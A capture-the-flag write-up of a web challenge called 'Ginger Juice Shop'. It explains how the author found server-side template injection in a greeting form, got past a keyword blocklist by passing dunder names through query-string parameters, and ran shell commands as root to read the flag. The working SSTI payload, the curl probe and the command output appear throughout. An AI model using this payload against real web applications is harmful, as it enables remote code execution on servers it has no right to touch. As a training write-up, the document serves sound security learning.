SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/GINGER-JUICE-SHOP-WEB
← BACK TO ARCHIVE
EVENT: Safaricom PwnZone 2.0 Qualifiers 2026CATEGORY: WebPOINTS: 350 PTS

Ginger Juice Shop

AUTHORED BY:@bealthguy10/5/2026

Ginger Juice Shop

350 points. The service exposes one text field and returns a greeting. The page title is CITRUS STUDIO and the form is labelled "Lock Up The Usual Suspects", which indicates the class of mistake behind the field.

An arithmetic probe establishes the behaviour immediately.

ffcurl -X POST -d 'name={{7*7}}' http://54.72.82.22:8050
Hello, 49! Did you find the suspects yet?

The rendering is server-side template injection. A filter is then encountered. Each of the following returns the same message:

Invalid input detected! You might need to Try Hard!!
{{config}}          {{os}}          {{eval}}          {{lipsum.__globals__}}

config, os, eval and dunder sequences are all blocked. Dot-syntax attribute access is permitted, and lipsum, cycler, joiner, namespace, request, g, session all render normally.

The reachability of request is the useful observation. request.args lives in the query string rather than the request body, so a filter scoped to the body has no reason to inspect it. Supplying the blocked words through the URL sidesteps the blocklist entirely:

{{ (lipsum|attr(request.args.get("a")))[request.args.get("b")][request.args.get("c")]("id").read() }}

with ?a=__globals__&b=os&c=popen.

One detail is worth recording. An initial attempt to use |attr(request.args.get("b")) for the os lookup returned empty. That is a property of the attr filter rather than of the filter: attr checks for a real attribute first and deliberately refuses to fall back to key lookup, and a dict has no attribute named os. Switching the same lookup to subscript syntax resolves it, because subscripting does fall back to item access.

The command returned a root shell on the first attempt:

uid=0(root) gid=0(root) groups=0(root)

Substituting env for the command returned the flag:

FLAG=safctf{42dd8c3f359acdfc9b4250f4864ffc35}

Flag:

safctf{42dd8c3f359acdfc9b4250f4864ffc35}

On a repeat attempt, the filter's scope would be characterised before spending effort on builtins. As soon as request rendered, the reasonable inference was that the request body was the only surface under inspection, and every later detour followed from not confirming that.